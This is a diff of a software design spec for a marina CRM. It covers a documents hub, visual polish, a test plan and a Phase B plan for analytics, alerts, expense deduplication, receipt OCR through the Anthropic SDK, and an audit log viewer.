auto?: boolean; // true = cron; false (default) = manual
|
||||
signerId?: string; // optional — target a specific pending signer
|
||||
} = {},
|
||||
): Promise<{ sent: boolean; reason?: string; signerId?: string }>;
|
||||
```
|
||||
|
||||
Behaviour matrix:
|
||||
|
||||
| Mode | 9-16 window | Cadence cooldown | Manual cooldown |
|
||||
| ----------- | ----------- | ---------------- | ------------------------ |
|
||||
| auto: true | enforced | enforced | n/a |
|
||||
| auto: false | bypassed | bypassed | 30s client-side debounce |
|
||||
|
||||
Per-signer logic:
|
||||
|
||||
- If `signerId` provided in sequential-mode doc, signer must be the lowest-pending signer (otherwise reason='Signer is not next in sequence')
|
||||
- In parallel-mode doc, any pending signer can be reminded independently
|
||||
- Returns `{ sent, reason }` so caller can show toast on skip
|
||||
|
||||
### Admin and per-doc UI
|
||||
|
||||
Admin `/admin/templates` editor:
|
||||
|
||||
```
|
||||
Auto-reminders for this template:
|
||||
☑ Enabled Cadence: every [_____] days (1-365; default 7)
|
||||
☐ Disabled (manual reminders only)
|
||||
```
|
||||
|
||||
Doc detail page (Section 3) "Reminders" panel under signers, with edit drawer for per-doc override.
|
||||
|
||||
## Visual polish system
|
||||
|
||||
### Token additions
|
||||
|
||||
```
|
||||
--radius-sm: 0.375rem (existing)
|
||||
--radius-md: 0.5rem (NEW — default cards)
|
||||
--radius-lg: 0.625rem (NEW — sheets, dialogs)
|
||||
--radius-xl: 0.875rem (NEW — KPI tiles, hero strips)
|
||||
|
||||
--shadow-xs: 0 1px 2px 0 rgb(15 23 42 / 0.04)
|
||||
--shadow-sm: 0 2px 4px -1px rgb(15 23 42 / 0.06)
|
||||
--shadow-md: 0 4px 12px -2px rgb(15 23 42 / 0.08)
|
||||
--shadow-lg: 0 12px 32px -8px rgb(15 23 42 / 0.12)
|
||||
--shadow-glow: 0 0 0 4px rgb(58 123 200 / 0.12)
|
||||
|
||||
--gradient-brand: linear-gradient(135deg, #3a7bc8 0%, #2f6ab5 100%)
|
||||
--gradient-brand-soft: linear-gradient(135deg, #d8e5f4 0%, #ffffff 100%)
|
||||
--gradient-success: linear-gradient(135deg, #e8f5e9 0%, #ffffff 100%)
|
||||
--gradient-warning: linear-gradient(135deg, #fef3c7 0%, #ffffff 100%)
|
||||
|
||||
--ease-spring: cubic-bezier(0.34, 1.56, 0.64, 1)
|
||||
--ease-smooth: cubic-bezier(0.4, 0, 0.2, 1)
|
||||
--duration-fast: 150ms
|
||||
--duration-base: 200ms
|
||||
--duration-slow: 300ms
|
||||
```
|
||||
|
||||
All exposed as Tailwind utilities.
|
||||
|
||||
### Existing token foundation (already in place; not changing)
|
||||
|
||||
- Full HSL shadcn token system (primary, secondary, muted, accent, destructive, border, input, ring, popover, card)
|
||||
- Brand palette `brand` (50-700, default `#3a7bc8`)
|
||||
- Navy palette `navy` (50-600, default `#1e2844` for sidebar)
|
||||
- Maritime accents: `sage`, `mint`, `teal`, `purple` with light/default/dark variants
|
||||
- Semantic `success` / `warning` with bg+border
|
||||
- Recharts chart-1 through chart-6 token system
|
||||
- Dark mode wired
|
||||
- Sidebar tokens separate from main palette
|
||||
|
||||
### New primitive components
|
||||
|
||||
- `<StatusPill status="...">` — colored-by-state pill (pending grey, sent brand, partial teal, completed success, expired warning, rejected destructive, cancelled muted-darker, active success, archived muted)
|
||||
- `<KPITile title value delta sparkline?>` — rounded-xl, shadow-sm, gradient-brand-soft border-top accent stripe; recharts mini sparkline using `--chart-1`
|
||||
- `<EmptyState icon title body actions>` — large icon in brand-soft circle, title, body, action buttons
|
||||
- `<PageHeader>` polished — gradient-brand-soft background, eyebrow optional, KPI sub-line, primary action right-aligned
|
||||
|
||||
### Component pattern updates
|
||||
|
||||
- List rows: hover gradient (subtle brand-soft 4% opacity), shadow-xs lift, animation `transition-all duration-base ease-smooth`; row-update from socket events animates 1s fade-in highlight
|
||||
- Detail pages: two-column responsive grammar (header strip → 2fr main + 1fr side; cards stack vertical < 768px)
|
||||
- Sidebar (already dark navy): active item gets 4px brand left-edge stripe instead of bg shift; section headers smaller-caps + brand-200 text
|
||||
- Topbar: search inset shadow + brand focus ring; "+ New" trigger gets `bg-gradient-brand`; notification bell gets badge spring animation; user avatar gets shadow-sm + 2px white ring
|
||||
- Forms: focus ring uses `--shadow-glow`; primary submit buttons get `bg-gradient-brand` with hover scale-1.01; inline validation gets destructive-bg pill with caret pointing up
|
||||
|
||||
### Loading skeleton system
|
||||
|
||||
- List pages: 8 skeleton rows matching column widths with subtle pulse
|
||||
- Detail pages: header strip skeleton + 2-column section skeletons
|
||||
- Dashboard: KPI tile skeletons + chart skeletons
|
||||
- Replaces today's mix of "Loading..." text and spinners
|
||||
|
||||
### Mobile responsive (full sweep)
|
||||
|
||||
Breakpoints:
|
||||
|
||||
- < 640px (phone): single column, sticky bottom action bar, sheet overlays for filters
|
||||
- 640-1024px (tablet): single column with wider gutters, side column under main
|
||||
- ≥ 1024px (desktop): full two-column
|
||||
|
||||
Per-page rules:
|
||||
|
||||
- List tables → card stack < 768px
|
||||
- Detail page header collapses subtitle to "Show more"
|
||||
- Tabs collapse to `<select>` < 640px
|
||||
- Sidebar slides over content < 1024px
|
||||
- Primary "+ New" actions float as FAB bottom-right < 640px
|
||||
|
||||
## Test plan
|
||||
|
||||
### Unit (`tests/unit/`)
|
||||
|
||||
- `document-reminders-cadence.test.ts` — `isReminderDue` math; manual-vs-auto window/cooldown bypass
|
||||
- `documenso-place-fields.test.ts` — v1/v2 dispatch (mocked HTTP); coord normalization; default field staggering for 1/2/3/5 recipients
|
||||
- `email-attachments-resolver.test.ts` — fileId → MinIO buffer; cross-port 403; 10 MB cap warning
|
||||
|
||||
### Integration (`tests/integration/`)
|
||||
|
||||
- Extend `document-templates-generate-and-sign.test.ts` — new template formats (`pdf_form`, `pdf_overlay`, `documenso_render`); upload-path test
|
||||
- New `document-watchers.test.ts` — add/remove endpoints; notification fan-out; port isolation
|
||||
- New `document-cancel.test.ts` — user-initiated cancel; mocked Documenso void; status + event log; reject 409 if completed
|
||||
- New `reservation-agreement-contract-mirror.test.ts` — `handleDocumentCompleted` mirrors `signedFileId` to `berth_reservations.contractFileId` only for `reservation_agreement` type
|
||||
- New `reminder-cron-cadence.test.ts` — seed varied templates; simulated time advance; assert correct docs reminded
|
||||
|
||||
### E2E smoke (`tests/e2e/smoke/`)
|
||||
|
||||
- Extend `04-documents.spec.ts` — hub tabs, expand row, per-signer remind with cooldown, type/status filters, saved-view round-trip, bulk-remind with per-row toast reasons
|
||||
- Extend `05-eoi-generate.spec.ts` — wizard invocation prefills (template, interest); existing flow regression
|
||||
- New `27-document-create-wizard.spec.ts` — template path full flow; upload path full flow; watcher addition; reminder-override radios produce correct DB state
|
||||
- New `28-reservation-agreements.spec.ts` — reservation detail → Generate agreement → wizard prefilled → Send → agreement section state transitions; post-completion contract attached + email button visible
|
||||
- New `29-email-attachments.spec.ts` — system path send (documentEvents row, no email_messages); user path send when toggle on (email_messages with attachment_file_ids); cross-port 403
|
||||
|
||||
### E2E exhaustive (`tests/e2e/exhaustive/`) — click-everything sweep
|
||||
|
||||
- New `10-documents-hub.spec.ts` — crawl each tab, filter dropdowns, saved-view, expand row, signer-row buttons, bulk-action bar
|
||||
- New `11-document-detail.spec.ts` — crawl in three states (draft/sent/completed); watcher add/remove; notes auto-save; preview download; "Email signed PDF" launch
|
||||
- New `12-document-create-wizard.spec.ts` — crawl each wizard step under both template and upload paths; picker dropdowns, signer add/remove, drag-handle, reminder-cadence radios
|
||||
- New `13-reservation-detail.spec.ts` — crawl in three states (pending no agreement / agreement-in-flight / agreement-completed); Activate/Cancel/Generate buttons; inline notes
|
||||
- New `14-email-composer.spec.ts` — crawl composer drawer with attachments; From dropdown; attach button; recipient chips
|
||||
- Extend exhaustive `05-eoi-generate.spec.ts` — parallel-mode + signing-order edge cases (greyed-out reminder buttons; out-of-order remind rejection)
|
||||
|
||||
### E2E real-API (`tests/e2e/realapi/`)
|
||||
|
||||
Each spec gates on env vars; clean skip if missing.
|
||||
|
||||
- Extend `documenso-real-api.spec.ts`:
|
||||
- Generate from Documenso template (real send) and assert in real Documenso
|
||||
- Generate from in-app PDF AcroForm fill, upload to real Documenso, assert
|
||||
- Generate from upload path with auto-placed signature fields, assert fields visible in Documenso
|
||||
- v1 and v2 explicit version-flag tests (via `DOCUMENSO_API_VERSION`)
|
||||
- Manually sign in real Documenso (or simulate webhook) and assert local DB updates
|
||||
- Cancel real in-flight doc, assert local + remote state
|
||||
- Send reminder via real Documenso, assert HTTP + documentEvents row
|
||||
|
||||
- New `smtp-system-send.spec.ts` — system-path send → IMAP fetch → assert subject + attachment; verify port-config from-identity; cleanup via IMAP delete
|
||||
- New `smtp-user-send.spec.ts` — user-path send (requires connected account, allowPersonalAccountSends=true) → IMAP fetch → email_messages row with attachment_file_ids
|
||||
- New `minio-file-lifecycle.spec.ts` — upload, list, preview, download (byte-equal), delete; port isolation; mime-type validation
|
||||
- New `documenso-webhook-ingress.spec.ts` — requires cloudflared tunnel; configure tunnel URL as Documenso webhook target; trigger doc completion; assert webhook fires + handler updates DB; verify timing-safe secret check rejects wrong secret with 401; verify event normalisation (uppercase enum + lowercase-dotted both accepted)
|
||||
- New `email-attachments-roundtrip.spec.ts` — compose with fileId attachment; SMTP send; IMAP fetch; assert attachment bytes match; reject cross-port fileId with 403 before SMTP touched
|
||||
|
||||
### Visual baselines (`tests/e2e/visual/`)
|
||||
|
||||
`snapshots.spec.ts-snapshots/` regenerated as polish ships per page; one PR per surface group, baselines reviewed in PR diff. New baselines added: documents hub, doc detail, create-document wizard (each step), reservation detail, email composer with attachments.
|
||||
|
||||
### Test data fixtures
|
||||
|
||||
`global-setup.ts` extended with:
|
||||
|
||||
- Seed default `reservation_agreement` template (HTML format)
|
||||
- Seed default `signed_doc_completion` template
|
||||
- Seed one in-flight EOI doc with two pending signers (for hub-tab tests)
|
||||
- Seed one `berth_reservation` with `status='active'` and no agreement (for lifecycle alert query)
|
||||
|
||||
### CI vs local runs
|
||||
|
||||
| Project | When |
|
||||
| ---------------------------------------------- | ----------------------------------------------------------------------------------------------------------- |
|
||||
| `setup` + `smoke` (~14 min) | Every PR via CI |
|
||||
| `exhaustive` (with new click-everything specs) | Every PR via CI; ~25 min budget |
|
||||
| `visual` | Every PR; baselines reviewed in PR diffs |
|
||||
| `realapi` | Locally before merging touch-points; pre-release; not on CI (avoids burning Documenso quota and SMTP costs) |
|
||||
|
||||
## Build sequence
|
||||
|
||||
| # | Title | Effort | Depends on |
|
||||
| ----- | ------------------------------------------------- | ------ | -------------- |
|
||||
| 1 | Data model + service skeletons | 1d | — |
|
||||
| 2 | Documenso v1/v2 abstraction layer | 1d | — |
|
||||
| 3 | Visual primitives + token additions | 1.5d | — |
|
||||
| 4 | Documents hub page | 2d | 1, 3 |
|
||||
| 5 | Document detail page | 2d | 1, 3 |
|
||||
| 6 | Create-document wizard + new template formats | 2.5d | 1, 2, 3 |
|
||||
| 7 | Reservation detail + agreement flow | 1.5d | 1, 6 |
|
||||
| 8 | Email composer attachments + From selector | 1d | 1, 3 |
|
||||
| 9 | Reminder framework polish | 1d | 1 |
|
||||
| 10a-e | Visual polish sweep (5 PRs across surface groups) | 3-4d | 3 |
|
||||
| 11 | Real-API integration tests | 1.5d | 2, 4-9 shipped |
|
||||
|
||||
### Critical path
|
||||
|
||||
```
|
||||
1 → 2 → 6 → 7 (data model → Documenso → wizard → reservation)
|
||||
1 → 3 → 4 → 5 → 9 (data model → primitives → hub → detail → reminders)
|
||||
1 → 8 (composer)
|
||||
3 → 10a-e (sweep)
|
||||
all → 11 (realapi)
|
||||
```
|
||||
|
||||
Wall-clock minimum ~9 days; realistic with overhead ~17 days; calendar ~3.5-5 weeks.
|
||||
|
||||
### Acceptance gates per PR
|
||||
|
||||
- `pnpm tsc --noEmit` and `pnpm lint` clean
|
||||
- Vitest unit + integration green
|
||||
- Playwright smoke green for surface touched
|
||||
- Visual baselines regenerated and reviewed in PR diff
|
||||
- For PRs touching external integrations (2, 6 upload, 7 contract mirror, 8 SMTP, 11): relevant `realapi` spec verified locally before merge
|
||||
|
||||
### Risk register
|
||||
|
||||
| Risk | Mitigation |
|
||||
| ---------------------------------------------------------- | ----------------------------------------------------------------------------------------- |
|
||||
| Documenso v2 endpoint shape drifts from docs | PR2 validates against real v2 instance during dev; realapi spec re-runs nightly post-ship |
|
||||
| Visual polish scope creeps | One PR per surface group (10a-e), each independently shippable |
|
||||
| Cron migration changes effective behaviour | Backfill sets EOI cadence to 1 day matching today's effective; run on staging first |
|
||||
| Mobile responsive regressions | Visual baselines include phone-viewport snapshots; PR10e is the responsive sweep |
|
||||
| EOI dialog → wizard migration breaks "Generate EOI" button | Wizard launched with prefills from interest detail; PR6 includes regression spec |
|
||||
| AcroForm template format confuses non-technical admins | HTML default; inline help; default templates seeded |
|
||||
| Phase A wall-clock past 5 weeks | Tier-2 sweep items + optional realapi specs deferrable to follow-up release |
|
||||
|
||||
## Glossary
|
||||
|
||||
- **Documenso** — open-source document signing service, self-hosted instance at `signatures.portnimara.dev`
|
||||
- **EOI** — Expression of Interest, a pre-reservation signed document
|
||||
- **Reservation Agreement** — contract signed when a berth reservation is committed
|
||||
- **Hub** — the new `/[port]/documents` page
|
||||
- **Watcher** — a CRM user added to a doc to receive notifications on signature events without being a signer themselves
|
||||
- **Signing order** — sequential index across signers; sequential mode requires lower order to sign first; parallel mode lets all sign concurrently
|
||||
- **Cadence** — interval in days between auto-reminders to unsigned signers
|
||||
- **System send / User send** — email dispatch identity: System uses port-config noreply SMTP; User uses connected personal email account (gated by admin toggle)
|
||||
- **Render location** — where the PDF is generated (CRM-local via HTML/AcroForm/overlay, or in Documenso). Signing is always Documenso; render location is independent.
|
||||
@@ -1,435 +0,0 @@
|
||||
# Phase B — Insights, Alerts, and Operational Awareness
|
||||
|
||||
**Status:** Draft — awaiting review
|
||||
**Date:** 2026-04-28
|
||||
**Phase:** B of D (A = Documents hub + visual polish ✓ shipped; C = Website integration; D = Pre-prod ops)
|
||||
|
||||
## Overview
|
||||
|
||||
Phase A made the CRM look polished and finished the documents/signing surface. Phase B turns it into a tool that _tells operators what's happening_ — instead of forcing them to navigate every list to find pipeline drift, expiring documents, or stalled reservations. It also closes the seven highest-priority Nuxt→Next gaps the 2026-04-28 audit surfaced (analytics, berth-interests, EOI queue, OCR, alerts, audit log, expense dedup).
|
||||
|
||||
The product story changes from "system of record" to "system of attention." Operators land on the dashboard and immediately see what needs them today — not a flat list they have to filter.
|
||||
|
||||
## Scope boundaries
|
||||
|
||||
### In scope (this spec)
|
||||
|
||||
- **Analytics dashboard** — chart-driven KPI page replacing the current 4-tile placeholder; pipeline funnel, occupancy timeline, revenue breakdown, lead-source attribution, with date-range and per-port filters
|
||||
- **Alert framework** — rule engine that evaluates conditions on a schedule and surfaces actionable cards (alerts) in the dashboard's right rail; dismissible per-user; deep-links into the offending entity
|
||||
- **Interests-by-berth view** — `/[port]/berths/[id]/interests` panel showing every interest targeting a berth, sortable by stage/score/age
|
||||
- **Expense duplicate detection** — heuristic match on (vendor + amount + date ± 3 days); surfaces in expense detail with "Merge" action; background scan on new expense
|
||||
- **EOI queue** — saved-view filter on the existing documents hub for `documentType='eoi' AND status IN ('sent','partially_signed')`, surfaced as a hub tab and a dashboard alert link
|
||||
- **OCR for expense receipts** — Claude Vision integration on the existing `/expenses/scan` route to extract vendor, amount, date, currency, line items from uploaded receipts; user confirms before save
|
||||
- **Audit log read view** — admin-gated UI for the existing `audit_logs` table with filters (user, action, entity type, date range, entity id search) and per-port + global (super-admin) scopes
|
||||
|
||||
### Explicitly out of scope (deferred to later phases)
|
||||
|
||||
- Custom user-defined alert rules (Phase B v1 ships with a fixed catalog of ~10 rules; user-rule creation deferred to Phase D)
|
||||
- Real-time alert push notifications (only socket-fired updates of the alert list; SMS/email push deferred)
|
||||
- Alert grouping / digests (each alert is its own card)
|
||||
- Predictive analytics, ML scoring (separate from existing AI feature flag)
|
||||
- Cross-port roll-up dashboards for super-admins (per-port only in v1)
|
||||
- Full audit-log retention / archival policy (Phase D)
|
||||
- OCR for PDF receipts (only image formats: jpg/png/heic; PDF expense uploads bypass OCR and stay manual until Phase D)
|
||||
- Excel/CSV import for bulk expense backfill
|
||||
- Country / phone / timezone work (separate cross-cutting agenda at `2026-04-28-country-phone-timezone-design.md`)
|
||||
|
||||
## Information architecture
|
||||
|
||||
### URL surface
|
||||
|
||||
```
|
||||
/[port]/dashboard replaces existing; analytics-driven
|
||||
/[port]/insights deep-link analytics page (charts only, no alerts)
|
||||
/[port]/alerts full alert list (admin filter, dismissed history)
|
||||
/[port]/berths/[id]/interests new tab on berth detail
|
||||
/[port]/expenses/scan extend existing route with Claude Vision OCR
|
||||
/[port]/admin/audit admin-gated audit log viewer
|
||||
/[port]/documents extended: 'EOI queue' tab pre-filters to EOI in flight
|
||||
```
|
||||
|
||||
### Schema deltas
|
||||
|
||||
```sql
|
||||
-- alerts: surfaces operational warnings the user should act on
|
||||
CREATE TABLE alerts (
|
||||
id text PRIMARY KEY DEFAULT generate_id('alrt'),
|
||||
port_id text NOT NULL REFERENCES ports(id) ON DELETE CASCADE,
|
||||
rule_id text NOT NULL, -- 'reservation.no_agreement', 'interest.stale', ...
|
||||
severity text NOT NULL, -- 'info' | 'warning' | 'critical'
|
||||
title text NOT NULL,
|
||||
body text,
|
||||
link text NOT NULL, -- relative path the card deep-links to
|
||||
entity_type text, -- optional FK target ('interest', 'reservation', ...)
|
||||
entity_id text,
|
||||
fingerprint text NOT NULL, -- hash of (rule_id + entity_type + entity_id) — dedupe
|
||||
fired_at timestamptz NOT NULL DEFAULT now(),
|
||||
dismissed_at timestamptz,
|
||||
dismissed_by text REFERENCES users(id),
|
||||
acknowledged_at timestamptz, -- "I'm on it" without dismissing
|
||||
acknowledged_by text REFERENCES users(id),
|
||||
resolved_at timestamptz, -- auto-set when underlying condition clears
|
||||
metadata jsonb DEFAULT '{}' -- per-rule extras (e.g. days_stale, amount_at_risk)
|
||||
);
|
||||
CREATE UNIQUE INDEX idx_alerts_fingerprint_open ON alerts (port_id, fingerprint) WHERE resolved_at IS NULL;
|
||||
CREATE INDEX idx_alerts_port_fired ON alerts (port_id, fired_at DESC);
|
||||
CREATE INDEX idx_alerts_port_severity_open ON alerts (port_id, severity) WHERE resolved_at IS NULL AND dismissed_at IS NULL;
|
||||
|
||||
-- expense duplicate detection (column-only, no new table)
|
||||
ALTER TABLE expenses ADD COLUMN duplicate_of text REFERENCES expenses(id);
|
||||
ALTER TABLE expenses ADD COLUMN dedup_scanned_at timestamptz;
|
||||
CREATE INDEX idx_expenses_dedup ON expenses (port_id, vendor_name, amount, expense_date)
|
||||
WHERE duplicate_of IS NULL;
|
||||
|
||||
-- analytics support: materialized refresh tracking (avoids recomputing on every dashboard hit)
|
||||
CREATE TABLE analytics_snapshots (
|
||||
port_id text NOT NULL REFERENCES ports(id) ON DELETE CASCADE,
|
||||
metric_id text NOT NULL, -- 'pipeline_funnel.30d', 'occupancy_timeline.90d', ...
|
||||
computed_at timestamptz NOT NULL DEFAULT now(),
|
||||
data jsonb NOT NULL,
|
||||
PRIMARY KEY (port_id, metric_id)
|
||||
);
|
||||
|
||||
-- audit_logs already exists; add a tsvector column for fast search
|
||||
ALTER TABLE audit_logs ADD COLUMN search_text tsvector
|
||||
GENERATED ALWAYS AS (
|
||||
to_tsvector('simple',
|
||||
coalesce(action, '') || ' ' ||
|
||||
coalesce(entity_type, '') || ' ' ||
|
||||
coalesce(entity_id::text, '') || ' ' ||
|
||||
coalesce(actor_email, ''))
|
||||
) STORED;
|
||||
CREATE INDEX idx_audit_search ON audit_logs USING gin(search_text);
|
||||
|
||||
-- ocr extracted fields on receipt files (most fields already on expenses)
|
||||
ALTER TABLE expenses ADD COLUMN ocr_status text DEFAULT 'pending'; -- 'pending'|'ok'|'failed'|'low_confidence'
|
||||
ALTER TABLE expenses ADD COLUMN ocr_raw jsonb; -- the model's full response
|
||||
ALTER TABLE expenses ADD COLUMN ocr_confidence numeric; -- 0..1
|
||||
```
|
||||
|
||||
After running migration on dev/staging, restart `next dev` to flush postgres.js prepared-statement cache (project convention).
|
||||
|
||||
### Service-layer changes
|
||||
|
||||
**New services:**
|
||||
|
||||
- `alerts.service.ts` — CRUD + fanout: `evaluateRules(portId)`, `dismissAlert(id, userId)`, `acknowledgeAlert(id, userId)`, `resolveStaleAlerts(portId)`
|
||||
- `alert-rules.ts` — fixed catalog of evaluator functions, each takes `(portId, db)` and returns `Array<{ rule_id, severity, fingerprint, ... }>`
|
||||
- `analytics.service.ts` — `getPipelineFunnel(portId, range)`, `getOccupancyTimeline(portId, range)`, `getRevenueBreakdown(portId, range)`, `getLeadSourceAttribution(portId, range)`; reads `analytics_snapshots` first, recomputes if stale
|
||||
- `analytics-snapshot-job.ts` — BullMQ recurring job that recomputes snapshots every 15 min per port
|
||||
- `expense-dedup.service.ts` — `scanForDuplicates(expenseId)`, returns candidate matches with confidence; called from BullMQ on `expense:created`
|
||||
- `expense-ocr.service.ts` — Claude Vision wrapper: takes file URL, returns parsed expense fields; uses prompt caching for the system prompt to keep cost down
|
||||
- `audit-search.service.ts` — wraps drizzle query with tsvector match + filters
|
||||
|
||||
**Extended services:**
|
||||
|
||||
- `documents.service.ts` — adds `getEoiQueueRows(portId, opts)` that joins documents + signers + last-reminder for the EOI queue tab
|
||||
- `expenses.service.ts` — `createExpense` triggers OCR + dedup BullMQ jobs after row insert
|
||||
- `notifications.service.ts` — fires `alert:created` and `alert:resolved` socket events
|
||||
|
||||
### Alert rule catalog (v1)
|
||||
|
||||
| Rule ID | Severity | Trigger | Resolves when | Why it matters |
|
||||
| ---------------------------- | -------- | -------------------------------------------------------------------------------------------- | -------------------------------------------- | ---------------------------- |
|
||||
| `reservation.no_agreement` | warning | active reservation > 3d old without a `reservation_agreement` doc in any non-cancelled state | doc reaches `sent` | flagged in Phase A spec |
|
||||
| `interest.stale` | info | `pipelineStage IN ('details_sent','in_communication','visited')` AND last activity > 14d | activity timestamp updates | dropped leads |
|
||||
| `document.expiring_soon` | warning | `expires_at` within 7 days, `status IN ('sent','partially_signed')` | doc completed/cancelled or expires_at passes | nudge before contracts lapse |
|
||||
| `document.signer_overdue` | warning | signer pending > 14d AND last reminder > 7d ago | signer signs/declines | classic chase target |
|
||||
| `berth.under_offer_stalled` | info | berth `status='under_offer'` > 30d | status changes | reservation never closed |
|
||||
| `expense.duplicate` | info | `expense.duplicate_of IS NOT NULL` | merged or marked-not-duplicate | bookkeeping cleanup |
|
||||
| `expense.unscanned` | info | expense with file but `ocr_status='pending'` > 1h | `ocr_status='ok'` | OCR failed silently |
|
||||
| `interest.high_value_silent` | critical | `leadCategory='hot_lead'` AND last activity > 7d | activity update | revenue at risk |
|
||||
| `eoi.unsigned_long` | warning | EOI doc `status='sent'` > 21d | doc completed/cancelled | EOI funnel leak |
|
||||
| `audit.suspicious_login` | critical | >3 failed logins from same IP in 1h | manual dismiss | security awareness |
|
||||
|
||||
Rules are pure functions; the engine takes their outputs, upserts on `(port_id, fingerprint)` to avoid spam, and auto-resolves alerts whose rule no longer fires.
|
||||
|
||||
## Per-feature design
|
||||
|
||||
### Analytics dashboard
|
||||
|
||||
Replaces the current 4-tile dashboard. Layout:
|
||||
|
||||
```
|
||||
[ Gradient PageHeader: "Dashboard" · last-updated stamp · Date range picker (Today / 7d / 30d / 90d / custom) ]
|
||||
|
||||
[ KPI row (4 KPITiles, sparkline + delta vs prior period):
|
||||
Total Clients Active Interests Pipeline Value Occupancy Rate
|
||||
]
|
||||
|
||||
[ Pipeline funnel (recharts FunnelChart): | Alert rail (right column):
|
||||
horizontal bars per stage with conversion % | Critical (red) cards
|
||||
click bar → filtered interests list | Warning (amber) cards
|
||||
| Info (blue) cards
|
||||
| "Show dismissed" toggle
|
||||
] |
|
||||
|
||||
[ Revenue breakdown (recharts BarChart, stacked by source) ] | (continues)
|
||||
|
||||
[ Occupancy timeline (recharts AreaChart, daily/weekly) ] |
|
||||
|
||||
[ Lead source attribution (recharts PieChart with legend) ]
|
||||
```
|
||||
|
||||
Charts are server-rendered via the recharts already-in-bundle. Data comes from `analytics.service.ts` which reads `analytics_snapshots` (refreshed every 15 min by cron) — first hit warms the cache, subsequent hits are sub-100ms.
|
||||
|
||||
Date-range picker re-runs `analytics.service` queries with the selected range; cache key includes the range so 30d and 90d don't fight.
|
||||
|
||||
Export: each chart card has a `[...]` overflow menu with "Download as CSV" and "Download as PNG"; uses recharts' `getDataUrl()` for PNG.
|
||||
|
||||
### Alert rail
|
||||
|
||||
Right column on `/dashboard`, full page at `/alerts`. Each alert is a card:
|
||||
|
||||
```
|
||||
[severity-color stripe-left]
|
||||
[rule-icon] Title (entity name)
|
||||
Body — body text describing the condition
|
||||
Last fired N days ago · entity: link
|
||||
[Acknowledge] [Dismiss] [Open →]
|
||||
```
|
||||
|
||||
- Acknowledge: marks `acknowledged_at` but stays visible (someone's on it)
|
||||
- Dismiss: hides from the rail; appears in `/alerts` "Dismissed" tab
|
||||
- Auto-resolve: when the rule re-evaluates and the condition no longer fires, alert moves to "Resolved" history
|
||||
|
||||
Real-time: socket emits `alert:created` / `alert:resolved` from the cron worker; React Query invalidates the alert list.
|
||||
|
||||
### Interests-by-berth view
|
||||
|
||||
New tab on `/[port]/berths/[id]` called "Interests" — count badge in tab.
|
||||
|
||||
```
|
||||
[ Berth header (existing) ]
|
||||
|
||||
[ Tabs: Overview | Reservations | Interests (N) | Notes | Files | Activity ]
|
||||
|
||||
[ Interests tab body:
|
||||
[Filter: All stages | Active only | Lost] [Sort: Newest | Stage progress | Lead score]
|
||||
Table: client name | stage pill | source | category | last activity | score badge
|
||||
Click row → interest detail
|
||||
]
|
||||
```
|
||||
|
||||
Pure read; no mutations. The list filters interests where `interest.berthId = berth.id`. Already exists in DB; just needs the UI tab.
|
||||
|
||||
### Expense duplicate detection
|
||||
|
||||
When a new expense is created, BullMQ job `expense.dedup` runs:
|
||||
|
||||
```ts
|
||||
async function scanForDuplicates(expenseId: string) {
|
||||
const e = await db.query.expenses.findFirst({ where: eq(expenses.id, expenseId) });
|
||||
const candidates = await db.query.expenses.findMany({
|
||||
where: and(
|
||||
eq(expenses.portId, e.portId),
|
||||
eq(expenses.vendorName, e.vendorName),
|
||||
eq(expenses.amount, e.amount),
|
||||
between(expenses.expenseDate, addDays(e.expenseDate, -3), addDays(e.expenseDate, 3)),
|
||||
ne(expenses.id, e.id),
|
||||
),
|
||||
});
|
||||
if (candidates.length > 0) {
|
||||
await db
|
||||
.update(expenses)
|
||||
.set({ duplicate_of: candidates[0].id, dedup_scanned_at: new Date() })
|
||||
.where(eq(expenses.id, expenseId));
|
||||
// fires `expense.duplicate` alert via rule engine on next sweep
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Detail page: when `duplicate_of` is set, show a yellow banner: "Looks like a duplicate of {linked expense}. [Merge them] [Mark as not duplicate]". Merge: deletes the new expense and merges any line items into the original.
|
||||
|
||||
### EOI queue tab
|
||||
|
||||
Documents hub gets a new tab between "Awaiting them" and "Awaiting me":
|
||||
|
||||
```
|
||||
Tabs: All | EOI queue (N) | Awaiting them | Awaiting me | Completed | Expired
|
||||
```
|
||||
|
||||
`EOI queue` filters: `documentType='eoi' AND status IN ('sent','partially_signed')`. Same row chrome as the rest of the hub. Bulk-action bar adds an "EOI bulk reminder" preset that respects the rule engine's reminder cooldown.
|
||||
|
||||
### OCR for expense receipts
|
||||
|
||||
Existing `/expenses/scan` route — extend to call Claude Vision on upload:
|
||||
|
||||
```ts
|
||||
// expense-ocr.service.ts (uses Anthropic SDK; already in deps)
|
||||
import Anthropic from '@anthropic-ai/sdk';
|
||||
|
||||
const client = new Anthropic();
|
||||
|
||||
const SYSTEM_PROMPT = `You extract structured expense data from receipts...
|
||||
Output JSON: { vendor, amount, currency, date (ISO), lineItems: [...], confidence (0-1) }
|
||||
`; /* cached via ephemeral cache_control for cost savings */
|
||||
|
||||
export async function ocrReceipt(fileUrl: string) {
|
||||
const file = await fetch(fileUrl);
|
||||
const base64 = Buffer.from(await file.arrayBuffer()).toString('base64');
|
||||
|
||||
const message = await client.messages.create({
|
||||
model: 'claude-haiku-4-5-20251001', // haiku for cost; sonnet if quality needed
|
||||
max_tokens: 1024,
|
||||
system: [{ type: 'text', text: SYSTEM_PROMPT, cache_control: { type: 'ephemeral' } }],
|
||||
messages: [
|
||||
{
|
||||
role: 'user',
|
||||
content: [
|
||||
{ type: 'image', source: { type: 'base64', media_type: 'image/jpeg', data: base64 } },
|
||||
{ type: 'text', text: 'Extract expense fields from this receipt.' },
|
||||
],
|
||||
},
|
||||
],
|
||||
});
|
||||
|
||||
return parseAndValidate(message.content[0].text);
|
||||
}
|
||||
```
|
||||
|
||||
UI: existing scan page now shows a 3-step flow:
|
||||
|
||||
1. Upload receipt photo
|
||||
2. Wait for OCR (spinner; ~3s avg with Haiku)
|
||||
3. Confirm extracted fields (pre-filled form, user can edit)
|
||||
4. Save → existing expense create flow
|
||||
|
||||
Low-confidence (< 0.6) extractions show a yellow banner "Please verify all fields" and pre-select the file uploader.
|
||||
|
||||
### Audit log read view
|
||||
|
||||
Admin route `/[port]/admin/audit`:
|
||||
|
||||
```
|
||||
[ PageHeader: "Audit Log" · "Last 30 days · 12,847 events" ]
|
||||
|
||||
[ Filter row:
|
||||
Search [tsvector] Actor [combobox of users] Action [pills] Entity type [select]
|
||||
Date range [picker] Severity [pills] [Reset]
|
||||
]
|
||||
|
||||
[ Table:
|
||||
Timestamp | Actor | Action | Entity | Diff button | IP | User-agent
|
||||
Click row → expand to show before/after JSON diff
|
||||
]
|
||||
|
||||
